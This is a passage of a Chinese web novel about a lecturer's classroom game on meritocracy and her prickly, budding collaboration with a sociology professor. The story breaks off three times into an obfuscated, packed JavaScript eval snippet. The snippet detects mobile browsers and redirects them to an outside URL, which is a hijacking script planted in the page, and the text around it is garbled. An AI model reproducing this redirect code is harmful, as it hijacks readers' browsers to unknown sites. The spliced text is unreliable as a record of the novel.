贺鸣云翻了个白眼,这老师当得真轻松,随便设计个幼稚游戏,两节课就这么混过去了,0个脑细胞受到损伤。 方溯继续抽签。 “前进五步。” “你今年十三岁,以五年级的身份,勉强参加了小学毕业考试。你没有考上任何初中,父母不允许你再浪费钱上学。” 林蔚忍不住插嘴:“什么爹妈啊这是?老师也不管管吗?九年义务教育啊!” 她说完发现自己太入戏,有些不好意思。但同学们并没有笑她。 方溯一脸沉重,继续抽签。她已经开始意识到,这个游戏环环相扣,一旦抽中了坏牌,之后就会是每况愈下。 “前进一步。” “你今年十四岁,你非常幸运,在好心亲戚和老师的帮助下,走关系进入了卫校学习护理专业。” 有学生低声嘟囔:“这叫什么幸运?” “前进一步。” “你今年十五岁,在学校交到了新朋友,他对你很照顾,让你感到了在家中没有过的温暖。很快,你们开始谈恋爱。” 学生异口同声:“不要啊!” 吓贺鸣云一跳。他茫然地看了看学生,更惊恐地发现,竟然有些学生眼睛里都含着泪花了。 “前进两步。” “你今年十七岁,意外怀孕。曾经和你关系很好的男朋友不知所踪。” 学生们倒吸一口凉气。 游戏也出现了变化,大屏幕上第一次出现了提问: “同时,你毕业成绩优秀,老师推荐给你一个在社区医院带薪实习的机会。你是否愿意去实习?” 方溯毫不犹豫,选择了“是”。 “很快,院方发现你未婚先孕,将你劝退。你实习两个月,攒了1200元。是否选择堕胎?” 方溯选择“是”。 “药物流产需800元;普通流产需2000元;无痛流产需4000元。请选择你的堕胎方式。” 大屏幕上,只有“药物流产”的选择亮着、可供选择。另外两个选项是灰色的,方溯没有足够的钱选择普通流产或无痛流产。 学生们屏气凝神,关注着方溯的命运,没有人注意到,方溯已经很久没有前进了。 等方溯走到终点,她已经打了几年零工,和工友结婚后离婚,独自抚养女儿。因为一只眼睛失明和低学历,找不到工作。因为不愿意回到家乡忍受熟人的言语侮辱,她在异乡漂泊,没有申请到低保补助,前途未卜。 方溯垂头丧气,一声不吭离开了“终点”。 江无远看到肖飞飞拍了拍方溯的肩膀,还开玩笑安慰她:“小黑手,你手气好差。” “飞飞,你来试试?” 肖飞飞兴致勃勃站到起点处。 在她开始抽签前,江无远问:“飞飞,你想抽到什么样的人生?” 肖飞飞是本地富商的独生女,对世界还抱着非常天真的态度,此时面对纯靠运气的游戏,依然充满自信。 “老师,我觉得我可能会抽到十二岁出道,十四岁成为顶流,十八岁全球巡演,天选偶像那种路线。” 五分钟后,肖飞飞垂头丧气,缩到了方溯边上。 一节课后,学生不是失业就是离婚,不是欠债就是月光,个个丧眉耷眼。 江无远也觉得好笑:“怎么手气都这么差?” 肖飞飞有罪推定:“老师,是不是你设置的就都是悲惨结局啊?” 江无远坚决否认:“血口喷人。” 为使澄清服众,江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你今年二十三岁,被录用为麻省理工的终身教授,同时在岳父的帮助下创立了一家云计算公司。” “前进三步。” “你今年二十六岁,岳父不幸因滑雪事故去世,按照他的遗嘱,你获得大笔财产。” “前进三步。” 贺鸣云没有再看屏幕,因为江无远现在就在他面前。 江无远看着贺鸣云,露出笑容。“贺教授,还是你最顺利来到我面前呢,不愧是天之骄子。” 贺鸣云脸有点红,低低“嗯”了一声。 肖飞飞大喊:“不公平!老师,系统偏心!” “就是!贺教授在现实里都已经是人生赢家了,怎么玩游戏更人生赢家了啊?” “找老婆都一找一个千金,服了。” “什么嗲女婿文学,退订!” 群情激愤中,贺教授手足无措,最后选择先澄清一个无足轻重的小点:“其实我刚才,没想和女同学谈恋爱……” 江无远笑得肚子痛,拿手虚掩着嘴,怕被贺鸣云发现。 学生见人下菜,发现这位似乎并非传说中的冷酷杀手后,大着胆子开始逗他。 “贺教授,您是不是从小就是第一名,一路保送的啊?” 贺鸣云认真答复:“我基本上都是第一名,但没有保送,是我自己考的。” “读博难吗贺教授?” 贺鸣云实事求是:“我觉得不是很难。” “贺教授,你数学好吗?” 贺鸣云思考了一下,说:“在文科生里算好的。” “贺教授你怎么还没结婚?” 贺鸣云有问必答:“太忙了,也还没遇到喜欢的。” 学生开始不讲武德:“贺教授,听说法学院的刘教授追过你啊?” 贺鸣云迟疑了下,说:“这个涉及别人的隐私,不方便回答。” 学生来劲了:“那您的隐私总能回答吧?您喜欢什么什么类型的啊?” 贺大教授终于招架不住,支支吾吾:“喜欢的类型……” 他求助地看向江无远。 5. 课堂交锋 江无远憋笑憋得差点破功,绷直了嘴角,努力摆出一副为人师表的样子,把课堂的主导权接了回来。 “好了,同学们,放过贺教授吧,他很内向的。大家都坐下,别起哄了,我们继续上课。” 贺鸣云松了口气,也顾不得学生们意外而饱含八卦的眼神,下意识坐在了离江无远最近的第一排。 他有点害怕这个班上的学生,他们太外向了,太能鬼扯了。跟他教过的学生完全不同。他教的学生都是木头人,不会说话不会动的,一和他眼神对上就如遭雷劈,害怕被他提问,哪里敢问他隐私什么的?倒反天罡。 还是离江无远近点安全,江无远会维持课堂秩序保护好他。贺鸣云这么想着,忍不住又盯着讲台上的江无远看。 她还是笑眯眯的。“游戏玩完了,有的同学功成名就,有的同学流离失所,有的同学英年早逝,大家怎么想?” 千金肖飞飞在游戏里阶级滑坡,出生在某高考大省的偏远小村庄,勉强考上民办大学,东拼西凑学费,好不容易毕业了,却因为学历找不到工作。为了付房租选择送外卖,为了不超时被扣钱,铤而走险闯红灯,不幸被车撞飞,二十四岁英年早逝。 手气比方溯还差,肖飞飞非常不爽:“老师,我运气也太差了,我要重玩一次!” 江无远意有所指:“可是飞飞,很多事情是不能重来的,出身也是无法选择的。你的游戏就是某个年轻人、某些年轻人的真实生活。” 肖飞飞撅着嘴,有些不服气。 江无远知道她在想什么,说:“你身边没有这样的人,是因为他们很难考上冰洋大学。” 从初中开始,爸妈就给她每门主科都请了一对一家教,最便宜的老师课时费也要八百块。肖飞飞沉默了。 林蔚插嘴:“但其实刚刚在游戏里,飞飞有一个改变命运的机会,系统问你是否要选择专升本的时候,你选了‘否’,为什么?如果你有本科文凭,可能就能找到更好的工作。” 肖飞飞委屈死了:“不是我选的!那个‘是’的选项是灰的,选不了。” 江无远引导她继续思考。“飞飞,代入游戏,你觉得为什么‘你’选不了‘是’呢?‘你’为什么没办法专升本?” “嗯……因为游戏里的‘我’当时很缺钱,忙着打工。所以既没有时间复习自考,也没有钱交专升本网课的学费。而且,那时候‘我’还小,可能根本没意识到专升本的重要性,又太累了,没有心力再继续学习了。” 肖飞飞反应过来,“啊”了一声。 江无远点点头:“你明白了。我们当然可以说,就算你出身不好,就算你的资源非常有限,就算你遭遇重大挫折,你也仍然可以选择‘努力’或者‘不努力’,你仍然可以试着抓住机会,你仍然可能逆天改命。小溯,你觉得是这样吗?” 方溯迟疑了一下,说:“我本来刚刚都还在想,要是游戏里的‘我’没有谈恋爱、没有意外怀孕就好了,也许‘我’就会在医院有一份全职工作,过上不错的生活。” 江无远鼓励她继续说。“但是?” 方溯摇摇头:“但是我意识到,因为‘我’从小就没有被爱过,所以‘我’很难拒绝爱情的诱惑。同理,就算真的有了一份全职工作,‘我’也很难拒绝别的诱惑。也许‘我’会花钱如流水,也许‘我’会懒得上班只想躺着。因为,因为我……” 江无远替她说了:“因为你什么没拥有过,没有好好休息过,也从来没有人教你应该怎么做。你看似是有选择的,是可以通过努力过上更好的生活的,但生活的惯性会让你下坠。” “周末我在改大家的访谈作业,我注意到,同学们都在无意识地评价受访者的选择。大家不理解,他为什么不能戒酒?他为什么不愿意换个城市生活?他为什么没有储蓄习惯?” “同学们潜意识里依然觉得,做出更明智选择的人,才配得上更好的生活。但刚刚,你们已经体会到,失败并不是因为你不够努力、不够聪明。有时候你别无选择;就算有选择,刚刚提到的‘惯性’,也会让你举步维艰。这正是优绩主义最可怕的地方,它掩盖了不平等,把社会结构性的不公平转化成了个人的不足。” 学生纷纷点头。 “而这又进一步导致了社会共同体的分裂。优势群体认为,我获得的一切都是我努力挣来的,我没有义务帮助弱势群体,道德义务因此被削弱;弱势群体则因为失败而陷入孤立,导致集体抗争难以成形,社会情绪更加消极。” 这是社会学研究的角度,贺鸣云不知不觉听得入了神。 “这学期我们一直在讨论优绩主义和精英叙事,我相信大家已经明白这些理论。但我希望大家特别注意到,过得很苦的人,声量也很小。” “我想请大家思考,在这样的大环境下,我们新闻传播学院的学生,要扮演什么样的角色?我给大一学生上课的时候,学生经常会问我,老师,我们就业好难啊,该怎么办?老师,我想做调查记者,可是现在新闻行业已经落寞了。” 有学生低声说:“‘新闻已死’。” “‘新闻已死’。不管是业界还是大众,普遍对新闻业的发展缺乏信心。但是你呢?你想写什么样的故事?你会为哪些人发声?你要强调立场还是事实?你要做宣传还是新闻?” “我希望大家思考,我们写报道、做学术,是精英在自说自话、加深偏见,还是和研究对象对话,理解他们的处境,尊重他们的主体性?我们今天的课堂讨论,是同理心、社会责任感的自我标榜,还是理解世界、改变世界的真实尝试?” 教室里很安静。贺鸣云忍不住回头看学生的反应,如他所料,他们都很专注,在思考江无远的话。 他刚刚还在腹诽这群小孩像幼儿园的,幼稚又聒噪,但现在,他突然有一种预感:就在这间教室里,就在这群学生中,未来会出现专业和情怀兼备的新闻从业人员。 贺鸣云又看向讲台上的江无远,他开始期待,她还会说些什么。 “同学们,刚刚我讲的,是我们如何做学术、做新闻。但其实,在这个专业学习,并不意味着你们未来一定会做学术、搞新闻。那我们这学期学的这些还有什么意义呢?毕业后有什么用呢?” “这就是最后一节课上,我想说的。这门课不止关于优势群体、弱势群体,它还关于你。我经常觉得你们很辛苦,现在的孩子很不容易。你们生在社会情绪乐观、经济发展迅速的千禧年代,却很快又面对社会解组的混乱。特别是前两年的疫情,不仅对世界的经济、人文造成了巨大冲击,也伤害了你们的感情、破坏了你们的理想。我们这些大人没能让世界变得更美好,让你们需要面临这样一个充满焦虑、迷茫的时代。” “教室里一共有二十九张书桌,每张桌子代表一年。在刚刚的游戏里,你们走到终点时,就到了和我一样的年纪。十年后,你们会成为什么样的人?你们是在社会的评价体系里被消耗,还是游离在社会的评价体系外倍感孤独?” “同学们,你们现在还是孩子。十年后,你们中的大多数都会参加工作。十年后你们快三十岁,在社会上已经被认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093555|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定为独当一面的大人,或许还已经开始养育小孩。但在内心深处,你可能觉得自己依然还是个孩子,你可能还是搞不懂职场潜规则,可能不善社交、格格不入,可能囊中羞涩、生活艰辛,可能干着一份恶心的工作,为了谋生出卖自尊。” “十年之后,当你退行成一个小孩的时候,我希望你们回想起我们上的这门课。当你被不公平地对待,当你陷入两难的选择,当你觉得自己一事无成,你要记得我们今天讨论的,不要让别人的叙事影响你,不要让主流价值观绑架你,要珍视自己,保护好自己的心。” 贺鸣云专注地看着江无远,她上课讲的内容并不难——无意冒犯,坦诚地讲,她课上讲的这些东西可以说是相当简单,如果要他刻薄地讲,他会说大半都是心灵鸡汤。 但是学生都很认真,对她讲的内容很感兴趣。而且他相信,这种兴趣会延伸到课堂外,这份启发会点亮学生未来的道路。 上学期期末,贺鸣云路过江无远上课的教室,那应该也是她那学期的最后一节课。下课铃声一响,学生蜂拥而上,自觉排起长队。 他出于好奇,在门口看了看,学生们竟然是在排队和江无远自拍留念,还有不少学生给她带了小礼物。江无远就像个开签售会的大明星,微笑着和每个学生拥抱寒暄。 贺鸣云这辈子没跟学生这么互动过,学生找他只为了求他不要给挂科。他诧异于学生对江无远的尊重和喜爱,更诧异于江无远对学生的热情回应。 在激烈的升学和就业竞争中,学生忙于刷绩点,忙于实习,忙于出国考研考公,忙于和学术大佬陶瓷。他原本以为,已经不会有学生专心上选修课,已经不会有学生亲近非学术大佬了。 在“非升即走”的考核压力下,老师忙于写论文,忙于做课题,忙于攀关系,忙于找后路。他原本以为,已经不会有老师认认真真上好一门课,已经不会有老师真心对待学生了。 在斯坦福读博的时候,贺鸣云给加西亚教授当过助教,加西亚当时给本科生讲的是一门简单的《社会学导论》,他上课热闹有趣,为人也随和,很受学生欢迎。 江无远很像加西亚。 贺鸣云当时在研究难得多、深入得多的课题,对这种入门水课毫无兴趣。可说来奇怪,近十年过去,回忆起斯坦福的求学生涯,他唯一能清晰回想起来的课,竟是这门最简单的《社会学导论》。他记得学生们在课上的眼睛是那么亮、表情是那么专注,记得officehour总有学生来找他问问题,记得圣诞前的期末复习周,学生给他送亲手烤的曲奇。 他以为他已经习惯了独角戏,但现在他发现,原来他也是羡慕这样的课堂氛围的,原来他也是希望学生能认真听课、和他互动的,原来他也是渴望唤起学生的热情和理想的。 也许,他并不是看不上江无远,而是,而是—— 不知不觉,下课铃声响起,江无远拍拍手宣布:“这学期的课就到这里,同学们,暑假快乐,下学期见!” 江无远察觉到贺鸣云的目光,询问地看了他一眼。 江无远的眼神:? 贺鸣云的眼神:??? 江无远读不懂颜文字,更读不懂他的心。 她误以为贺大教授是想刷存在感,便从善如流:“对了,今天我们还有位特别嘉宾。同学们,让我们掌声感谢贺教授的友情参与!贺教授,同学们对社会学都很感兴趣,有空多来指导下哦。” 她说着,朝贺鸣云wink了一下。 在热烈的掌声中,贺教授的脸微微泛红。 6. 持续挑衅 江无远收拾完东西,才注意到贺鸣云还在教室里。 她哪里知道,贺鸣云鼓了整整两堂课的勇气,才决定课后邀请她一起喝杯咖啡。 她只看到贺教授站在门边上,站得笔直笔直的,好像被留堂的小学生,看着有点无辜,又有点委屈。 他不请自来,在那儿委屈什么啊? 江无远恨自己是个善良心软的好人,忍不住走过去跟他搭了句话:“贺大教授,听得怎么样?” 贺鸣云没接茬,反而看着她,表情十分认真。“江老师,以后别叫我贺教授了。” 他的长睫毛扑闪扑闪,一双杏眼专注地望着江无远,看得江无远愣了下。 这还是贺鸣云吗?士别三日,怎么贺鸣云都会套近乎了? 他瞪着圆溜溜的眼睛干嘛?卖萌?知道她喜欢狗系男? “叫我贺老师就行,或者贺导——博导的导——毕竟我只是副教授,还不是教授,”贺鸣云顿了顿,毫无必要地解释,“不过我真的是博导,30岁就评上了。” 江无远捂了捂心口,好险,差点就对他改观了。 “我还是叫你贺教授吧,按学术成果和科研能力,你早该评上教授了,只是时间问题。” 贺鸣云完全听不出她阴阳怪气的弦外之音,思索片刻,点了点头:“说得也是。” 江无远冲他挤出一个假笑。 学生们都走了,贺鸣云也没反应,一大坨搁那儿站着,把门挡得严严实实。 “贺教授?” “在。” “下课了,放学了,暑假了,我要回家了。” “哦,对、对,放学了。”他嘴上附和着,身体却没有动作。 江无远奇了怪了:“您这是……要我一起当门神?守护学术界之纯洁?” “不是,不是。我就是,有点小事……” 贺鸣云的表情非常痛苦,肢体语言非常僵硬。江无远怀疑他是不是坐久了痔疮犯了,不好意思开口。 贺鸣云终于憋出一句:“不麻烦的话,我们一起喝个咖啡?就现在。” “现在”是下午五点,怎么也该请她吃个饭吧?谁大下午的喝咖啡啊?江无远被震撼到了,半天没说出句话。 贺鸣云垂了垂眼睑:“没事,你要是忙就算了。就是马院长坚持,人之将死,就这么点心愿……” “呸呸,胡说八道什么,马院长退休年纪都还没到呢。” 贺鸣云眼皮又抬起来了。“那能一起去喝杯咖啡么?” 他是不是以为这样就算在卖萌了啊? 江无远觉得挺好笑,让步了。“行,我的助教可以一起吗?” “当然。”贺鸣云心里暗喜,幸好找马远征要了卡。 ***** 江无远跟贺鸣云并排走着,两人之间的横向距离长达一米,从社交心理学判断:他俩是仇人。 偏偏这两个神仙,一个看不出来别人的想法,一个不在意别人的想法,走得那是步步生风、好不自在。 校园里人来人往,都惊讶地打量着这一对奇葩。 跟着他们的方溯率先感到尴尬,自觉挤到两人中间,营造出一种一家三口的温馨氛围,同时假装不经意地向贺鸣云搭话。 “贺教授,您暑假有什么安排?” 贺鸣云言简意赅:“写论文。” 方溯无能为力,接不上话。 倒是贺鸣云受到启发,偷瞄了眼一米开外的江无远,主动发问:“江老师暑假有什么安排?” “出去旅游半个月,然后回学校,录网课,备课。” 贺鸣云奇道:“你是真的一点论文都不写啊?” 江无远被噎了下,一时竟没想出什么反击的话。主要是贺鸣云耳朵聋、脑子笨,他听不懂别人的冷嘲热讽。茅厕里的石头,又臭又硬。 贺鸣云见江无远没吭声,还以为她在自卑。他心说坏了,闲聊没发挥好,一不留神,戳中人家的伤心事了,都快三十了,还没什么正经学术成果,不知道心里多难受呢。 于是自以为高情商地生硬转移话题:“对了,江老师也不是本地人吧?你老家在哪儿?” 江无远烦得不幸,言简意赅:“贵州。” “哦,挺远。” 他等着江无远问他老家。 江无远沉默,且沉着脸。 贺鸣云不理解,站住不走了。 “?”江无远也不理解,停住脚步,茫然地转头看他。 贺鸣云一字一顿:“我也不是本地人。” 江无远搞不明白他在搞哪出,生怕他突然开始发表演讲《外地人也有一个梦想》。 他们这么对视了几秒,双方都感到很无助。 还是方溯聪明,试探着问:“那贺教授您家乡在那儿?” “我老家,算是广东的吧,不过基本不回去。真巧,贵州是广东的对口支援省份。” “?”江无远真搞不懂,贺鸣云干嘛一直挑衅她?不是他要请她喝咖啡的吗? ***** 刚刚路上的闲聊耗尽了贺鸣云的社交电量,他自觉付出很有收获,现在江无远就坐在他面前,气氛非常好,他可以和她推心置腹。 贺鸣云开门见山:“江老师,我需要更正我之前关于你的课堂的说法。” 江无远倒背如流:“‘一点儿内涵没有,就是蹭热点、哗众取宠。这算什么大学老师?算什么学者?’的说法?” 贺鸣云可能是没听懂,也可能是脸皮天生就厚。被她这么一通抢白,还是很淡定。 他点点头,还点评上了:“今天听下来,我必须承认,你的课,虽然缺乏实验数据支撑,基本没有严密的论证,也基本没有前沿研究成果的介绍和研究,学生的发言更是不及预期,只讲感受,缺乏科学、系统的思考。但契合当下社会热点话题,课讲得也还算流畅和引人入胜。” 江无远翻了个白眼:“贺教授,你有没有注意到,你的‘虽然’有一大堆,‘但是’后面就一句话?” 贺鸣云诚实作答:“是吗?我没注意。句句都是肺腑之言。” 方溯替人尴尬的毛病犯了,默默低头喝咖啡,假装没在听。 “那真是谢谢贺教授了。” “你课上提到的社会解组,我刚好看过两篇相关的论文,质量不错,我发给你。” 江无远迟疑了一下。 贺鸣云误会了她的迟疑,自信道:“我把过关的,质量确实不错。你自己还不容易找到这么好、这么新的论文。” “……我真是谢谢你了啊。” “不客气,”贺鸣云颔首,“微信加一下,我发给你看。你扫我。” 他不给江无远质疑“凭什么我扫你啊”的机会,流畅地点开了自己的微信二维码页面。 峰回路转啊!老登巧施连环计,大美女误扫微信!方溯又凑近了点,一线吃瓜。 江无远喝了口咖啡,努力咽下对贺鸣云微信头像的吐槽——没错,正是一朵荷花。 贺鸣云扭捏了会儿,又开始自说自话:“而且,你的课上,学生会认真听你说话。” 江无远下意识反问:“你上课学生不听吗?” 贺鸣云沉默。 江无远沉默。 江无远打破沉默:“对不起……无意冒犯……” “……没事。” 贺鸣云说着,咕咚咕咚喝了两大口咖啡——刚上的,热的,滚烫的。他看起来不像没事,像是破防失心疯了 江无远委婉道:“我猜测,是不是你讲的内容太难了,学生跟不上?” 贺鸣云摇摇头:“给本科生讲的都是基础的东西,不难。是我表达能力一般,也搞不懂现在的学生喜欢听什么。比起说,我更喜欢写。你看过我的论文吧?” 江无远想了会儿,摇摇头:“没怎么看过。” 贺鸣云震惊。“你不仅不写论文,连论文都不看啊?” 江无远怒了:“我不看你的论文,是因为你是社会学的,我是新闻传播学的!” “哦,也对。总之,我对我的论文很有信心,但对讲课,确实没什么信心。” 他说完就盯着江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093556|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无远看,两只大眼睛亮如浴霸,照得江无远非常不自在。 他什么意思啊?江无远试着提示他:“所以,你想说……?” 贺鸣云皱了皱眉,说:“所以……嗯,怎么说呢,江老师,你对讲课很有信心吧?” 江无远正想自谦一下,贺鸣云又来了一句:“但你对论文应该很没信心吧?” 江无远瞪了他一眼:“谁说的!” 贺鸣云显然很惊讶:“你对写论文有信心啊?” 竖着耳朵偷听的方溯被咖啡呛到,发出惊天动地的咳嗽声,江无远也瞪了她一眼。 江无远想尽快结束这场对话,摊牌了:“贺教授,你到底想说什么?请明示。” “所以,我其实是想,不是想,是我在考虑……”贺鸣云张了张嘴,又闭上。张嘴,又闭上。 江无远奇了,贺鸣云这是,不仅有痔疮,还颞下颌关节紊乱? 贺鸣云闭了闭眼,视死如归般,说了老大一堆:“本来马院长让我请教你讲课技巧,我还觉得他在鬼扯。但听了你的课以后,我觉得你讲课确实有点东西。正好你没什么学术成果,而我学术成果非常多,我觉得我们可以试着合作,你教我怎么讲好课,我可以带你发论文,或者一起申请课题。” 江无远张了张嘴,又闭上。贺鸣云这张嘴真是成分复杂,几句话一边糖衣炮弹、一边夹枪带棒的,不知道在捧她还是损她。 “贺教授,谢谢你的提议,但我只能拒绝。我们专业都不一样,我怎么教你上课呢?” 贺鸣云早有准备:“我只需要你教我一些提高学生注意力的技巧,不用你帮我检查教学内容。专业内容我也是很有自信的。” 看出来了,自大狂。江无远保持体面,还是拒绝得很委婉: “贺教授,你有自己的想法和风格,我觉得没有必要强行改变。” 贺鸣云很坚决:“有必要。我认为你也有必要多发点论文,不然你没办法晋升。所以我们的合作也是必要的。” 方溯拿手肘碰了碰江无远,江无远懒得理她。 “我们的研究兴趣和内容都不一样,没法合作的。算了吧,贺教授,我建议你找你们学院的老师合作,效果应该会更好。谢谢你的咖啡。” 贺鸣云被连续拒绝三次,此时三分尴尬,三分茫然,三分诧异,还有一分恼怒。 事后回想起来,也许还有一点伤心,一点委屈,只是当时他还不明白。 当时贺鸣云自尊心受挫,也不懂怎么给自己挽尊,于是起身就走。 “不用谢。我先走了,如果你改变主意,微信联系我。” 他还真说完就走了,虽然走的速度很慢。 方溯急了,跟江无远咬耳朵:“老师,你还是帮帮忙,跟他合作吧。” 江无远不敢相信,她亲手带大的小助教,竟然站贺鸣云? 方溯不知偶像内心风起云涌,低声解释:“老师,这次不止改革了教师测评,也提高了学术成果要求,论文发表数要求提高了。我看了下,你今年还差篇论文呢。而且以后,每年都要考核论文发表数量的。” 江无远膝盖有点软了,她最讨厌写论文。“消息保真?” 方溯沉痛地点头。“你就委屈下,和贺老师合作,各取所需呗。” 江无远沉默,沉思。 怎么个各取所需法?近朱者赤,近贺鸣云者,就能库库发论文?贺鸣云这么死板,真愿意带她发论文? 方溯添上最后一把火:“贺老师不仅自己发文厉害,指导过的论文也库库发,堪称学术界的秦始皇,一统审稿人意见。” 江无远此时需要一点勇气。“秦始皇,真这么厉害?” 方溯给了她一个眼神肯定。“真这么厉害,我听说他带的学生,研一就发了C刊,才研一!老师,成大事者不拘小节,你不是准备三十岁当上副教授的吗?” 江无远一咬牙,冲着门口喊:“哎,那个谁,秦先生,你等等!” 刚挪到咖啡店门口的贺鸣云回头,表情十分茫然。 “……我姓贺。” 7. 精选课题 江无远被迫推迟了旅游计划。 想起来就来气,昨天下午六点多谈好合作,她好心邀请贺鸣云一起晚饭,(她请客,非AA)贺鸣云居然来了句“我还有正事要办”,拍拍屁股走了。 他有什么正事啊?忙着回去给学生打不及格啊? 今天早上七点半,贺鸣云又一个电话把她吵醒,说:“有正事要谈,马上来我办公室。” 江无远起床气大爆发:“你谁啊?你办公室在哪儿啊?这才几点啊?” 贺鸣云语气平稳,态度诚恳,一一作答:“我是贺鸣云。C2号楼301。七点半了。动作快点,晚点我还要忙别的事。” “我早饭还没吃!” “我办公室有吃的,你直接过来。” 江无远竟然轻信了他,洗漱完就过去报到了。 在冰洋大学,人文社科学院的老师一般在A1、A2号楼上课,方便起见,老师的办公室也基本安排在A1、A2号楼的高层。因为空间有限,老师需要共享办公室,江无远就和三位老师在一起办公。 冰洋大学是一所老牌大学,建筑设施老旧,经常有老师抱怨办公室逼仄、办公环境太差,江无远习惯了居家办公,不怎么待办公室,也就没觉得有什么不便之处。 现在,敲开贺鸣云C2-301的门,她觉得非常不便,非常不适,非常不爽。 这间办公室起码有三十平,松松散散地放着贺鸣云的办公桌、书柜和小床。还连着外面的露台,正对学校外的公园,窗景和采光都是一流。 墙角还有一株半死不活的龟背竹。能把龟背竹都养得这么蔫,贺鸣云真是个人才。更重要的是—— 江无远问:“你怎么有独立办公室?教育部不是刚发了文,副教授的办公室使用面积不能超过十方。” 贺鸣云反应平淡:“我是冰洋大学特别引进的,这是人才政策,‘百人计划’的老师都可以享受独立办公室待遇。” 听到了听到了,两只耳朵都听到了,知道你是狗屁“百人计划”的了!江无远虽忿忿不平,却无言以对,只能用尽全力,翻了一个白眼。 书桌上有几本书和几张手稿,江无远注意到,书桌边上还有一张合照。照片里的贺鸣云还是臭着张脸,看着竟然比现在还要更土一点;而他旁边站着一个中年男人,春风满面,高兴得像捡到了钱。 江无远好奇地凑近了看。“这是马院长?” “嗯,他是我的研究生导师。” 贺鸣云误解了江无远的沉默,解释道:“我没有走后门。” 江无远略感诧异。 贺鸣云年纪轻轻成果斐然,又是马院长的学生,免不了有人嫉妒。可她一直听说贺鸣云自命不凡,平等地看不起所有人,难道他也会在意这种风言风语? “我没有说你走后门,我只是好奇,原来马院长以前头发这么茂密。” 贺鸣云平淡回答:“很多人都说我走后门。没这么说的人,也这么想。” 连情商这么低的贺鸣云都察觉到了,不知道说得是有多难听、多露骨呢。 这种木秀于林而受到的恶意,江无远也是懂的。 于是江无远笑了笑,说:“我没觉得。你学术能力这么强,又完全不会拍马屁,怎么会走后门?要我看,反倒是靠你提升了社会学院的话语权,马院长是母凭子贵才对。” “什么母凭子贵,乱七八糟的……” 贺鸣云嘴上对她乱用成语表示不满,但江无远看到,他一边嘟囔,一边露出了一点笑容。 ***** “给你,早餐。” 贺鸣云递给江无远一杯热美式,用公共休息室的咖啡机打的,用公共休息室的一次性纸杯装着,一股糊味儿。 江无远茫然地接过来。“……没有加牛奶吗?你是不是不会用奶泡机?” 贺鸣云认真解释:“冰箱里没找到牛奶,以前都有的。我会用奶泡机的。” 他当然没找到,牛奶是学院出钱让后勤处买的,放假了就没人买了。放眼全校,也只有贺鸣云,三百六十五天风雨无阻,连假期都要薅公共休息室的咖啡羊毛。 江无远又问:“除了咖啡没别的了?” 贺鸣云从抽屉里翻出包3+2递给她。“还有半包饼干,够你吃了。” 江无远看了眼保质期,两年前的饼干,工龄快赶上她了。 她把饼干放回去。“行了,你这么着急,到底要跟我讨论什么?” 贺鸣云把办公室一角的白板翻过来,江无远大吃一惊,白板上密密麻麻写着论文题目。 “这些都是你昨天晚上想出来的?这么多!?” “昨天基本没睡,”贺鸣云平静地喝了口糊味咖啡,“越想越兴奋,有很多灵感,所以必须马上和你讨论。” 江无远有点茫然:“哦……你想和我一起写论文?” 贺鸣云更茫然:“你帮我提高教学质量,我带你发论文,这是我们昨天谈好的交换条件。” “没错,但是,这个‘带你发论文’,有没有可能,指的是:你把我写成你论文的第二作者就行了呢?” 贺鸣云大惊失色,瞳孔地震。 “你是老师,怎么能带头学术行为不端?” 江无远眼睛瞪得比他还大。 “你们学院除了你,全都学术不端。别以为我不知道,你二作都送给过多少同事了——” 贺鸣云强烈抗议:“我没有‘送’!那是……” 江无远打断他:“资源置换,学院安排,人在江湖身不由己。我懂,我都懂。但事实就是,你的二作署名送给了很多同事,对吧?很多同事都抱了你的大腿,对吧?” 贺鸣云无言以对,只能梗着脖子不吭声、不点头,以示他对这种行为的反感。 江无远循循善诱:“你给他们还是被逼的,你给我,那是正常合作、互帮互助,对不对?” 贺鸣云很快放弃了抵抗:“如果你实在不想写,我可以送你个二作,确保你考核过关。” “那太好了!” 江无远站起来就要走,急着回家睡回笼觉。 贺鸣云拦住她,又说:“可是,你确定这上面的题目,你一个都不感兴趣吗?” 江无远的良心让她迟疑了一秒,她的良心说:人家熬了个通宵琢磨这些题目呢…… 贺鸣云见江无远迟疑了,趁热打铁:“学术成果的考核每年都有,长远来看,你终究是需要自己发论文的,为什么不早点开始呢?合作论文,我是最好的选择。” 江无远真是开了眼了,古有才子救风尘,今有教授劝发论文。贺鸣云平时三棒子打不出一个屁,劝人发起论文来就口若悬河了,bornthisway. 贺鸣云连哄带骗:“你先看看?万一有你感兴趣的话题呢?我想了一晚上……” 天呐,他的眼睛怎么那么大啊?怎么可怜巴巴的,让人怪放不下的啊? 江无远又坐下了。怎么办呢,要怪就怪她善吧。 ***** 白板上的论文题目包罗万象,从数字鸿沟到性别认同,看得出来贺鸣云很用心,特意找了江无远也能参与的话题。 江无远这才发现,她虽然久闻贺鸣云大名,虽然对他的印象先入为主的差(未老先登,傲慢自负,恃才而骄,该死的工贼),但她几乎没有真的关心过他的学术成果,也没有亲自听过他的课或讲座。 她其实完全不了解贺鸣云。 